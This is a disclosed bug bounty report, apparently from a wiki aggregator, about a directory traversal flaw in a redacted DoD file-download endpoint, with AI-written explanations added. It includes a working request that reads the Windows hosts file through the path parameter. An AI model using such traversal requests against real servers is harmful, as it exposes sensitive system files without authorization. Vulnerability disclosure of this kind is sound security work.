Directory Traversal at █████
A file download endpoint accepted a user-supplied path parameter and used it to read files from the server's disk without restricting the location. An attacker could request arbitrary files, such as the Windows hosts file, and read their contents.
- Triaged in 14 hours
- Fixed in 58 days
- Disclosed after 58 days
Hi DoD!
I found directory traversal vulnerability at ████. I didn't find available title for this issue that's why I selected remote file inclusion.
Host: ██████
Vulnerability: Directory Traversal in Windows Server
Tool Used: BurpSuite
Parameter: ==path==
###HTTP GET Request### ==GET /File/Download?path=C:/WINDOWS/System32/drivers/etc/hosts==
Response
███
Impact
Attacker could read sensitive file in server
System Host(s)
███████
Affected Product(s) and Version(s)
CVE Numbers
Steps to Reproduce
Make HTTP Request like that;
GET /File/Download?path=C:/WINDOWS/System32/drivers/etc/hosts HTTP/1.1 Host: ███ Cookie: .AspNetCore.Antiforgery.GupjSGuR2ZQ=CfDJ8GfYfRi9j8NNoBU6zVTpTKTbaG72CuADzxVVYVr9efssbxXYtgzCMF2H6PvdOcF0RxMExCsaObiVNuop1ouJa2Nb0k3z4KYTy2ih_nRbxREcZZo-3LBJPXq05kvRrRF6p02TakoqGzC6VUTdPRw-bo8; TimeZoneOffset=-240 Cache-Control: max-age=0 Sec-Ch-Ua: "Chromium";v="103", ".Not/A)Brand";v="99" Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: "macOS" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Connection: close
Suggested Mitigation/Remediation Actions
Input Validation for path parameter
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the path parameter was passed to a file-reading function without validating or restricting it to an allowed directory.
What the attacker needed
Access to the file download endpoint
How it was found
- Send an HTTP GET request to the file download endpoint.
- Set the path parameter to a Windows system file location.
- Observe the file contents in the response.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A web page that lets you download a file often takes the file's location from the address bar. If the server trusts that location without checking it, someone can ask for a system file instead of the intended download. Here the attacker asked for a Windows system file and the server returned it.
What is Path traversal?
Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.